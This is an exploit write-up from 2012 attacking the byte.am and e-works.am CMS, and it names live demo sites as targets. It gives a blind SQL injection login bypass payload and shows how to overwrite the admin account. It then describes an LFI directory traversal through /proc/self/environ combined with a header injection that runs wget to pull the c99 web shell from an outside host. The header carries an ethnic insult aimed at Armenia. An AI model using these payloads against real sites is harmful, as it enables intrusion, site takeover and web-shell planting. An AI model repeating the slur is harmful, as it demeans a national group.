[+]-------------------------------------------------------------[+] Azerbaijan Black Hatz Presentzz 0day for bitch Armenia [-]-------------------------------------------------------------[-] Exploit title:Byte.am and e-works.am CMS MULTIPLE VULNERABLITIES Date:18 August 2012 Author: Worm Man Software Vendor:e-works.am && byte.am Category:Web Site admin panel:admin/admin.php Dork:No dork (See sites portofolio) Tested on:democms.byte.am Demos: democms.byte.am dhgroup.am coalition.byte.am +++++++++++++++++++++++++++++++ Respect to all bro :Z my first exploit :) Let'z Start ... [+].............................................................[+] Blind sql injection... Vulnerable code section on login.php ------------------------------------------------------------------------------------------ $query = "SELECT * FROM pass WHERE username = '$username' AND password = '$password'"; $result = mysql_query($query) or die(mysql_error()); $num_rows = mysql_num_rows($result); ------------------------------------------------------------------------------------------ Write for login:' or sleep(20)-- and 2='2 Write for password:anything When submit this code execute in sql SELECT * FROM pass WHERE username = '' or sleep(2)-- and 2='2' AND password = 'f0e166dc34d14d6c228ffac576c9a43c' Wait... True [-].............................................................[-] [+].............................................................[+] CRLF add admin with the help of sql :D Vulnerable code login.php all -------------------------------------------------------------------------------------------- function updatePassword ($newusername, $newpsw, $email) { $password = md5($newpsw); $query = "UPDATE pass SET username = '$newusername', password = '$password', email='$email' WHERE id = '1'"; $k = mysql_query($query); }; require_once ('../include_files/config.php'); $username = $_POST['username']; $password = md5($_POST['psw']); $query = "SELECT * FROM pass WHERE username = '$username' AND password = '$password'"; echo $query; $result = mysql_query($query) or die(mysql_error()); $num_rows = mysql_num_rows($result); if ($num_rows == 1) { $_SESSION['LOGIN'] = md5($username.substr($password, 1, 3)); if (isset($_POST[newusername]) && isset($_POST[newpsw]) && isset($_POST[newpsw1]) && $_POST[newusername] != "" && $_POST[newpsw] != "" && $_POST[newpsw1] != "") { if ($_POST[newpsw] == $_POST[newpsw1]) { updatePassword($_POST[newusername], $_POST[newpsw], $_POST[email]); header("Location: admin.php"); exit(); } else { header("Location: chengepasw.php"); exit(); }; }; header("Location: main.php"); exit(); } else { header("Location: admin.php?err=1"); } ?> -------------------------------------------------------------------------------------------- The script check username and pass from sql.But it has blind sql.We can bypass it eazily :D And script get + result.$num_rows will == 1 so we change admin information Here is the html code for CRLF --------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------- [-].............................................................[-] [+].............................................................[+] And Shell upload via LFI Directory Traversal Vulnerable code section in the end of main.php You can upload your shell if you are admin.And you know how to be admin :D -------------------------------------------------------------------------------------------- require_once ("header.php"); if (isset($page) && $page != "") {require_once("page_inc/".$page.".php");} require_once ("futer.php"); ?> -------------------------------------------------------------------------------------------- http://>>Site_Name/admin/main.php?lg=1&page=lg=1&page=/../../%2E%2E/../../proc/fd/../s%65lf/%65nviron/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././. Bypassing... And change your accept-encoding to " passthru('wget http://c99.gen.tr/c99.txt -O yeah.php') ?>" [-].............................................................[-] [+].............................................................[+] You can view and delete files via Assets Manager Only File are seen... See headerz Post content ---------------------------------------------------------------------------------------------- POST http://>>Site_Name<>Site_Name<< User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:14.0) Gecko/20100101 Firefox/14.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Referer: http://>>Site_Name<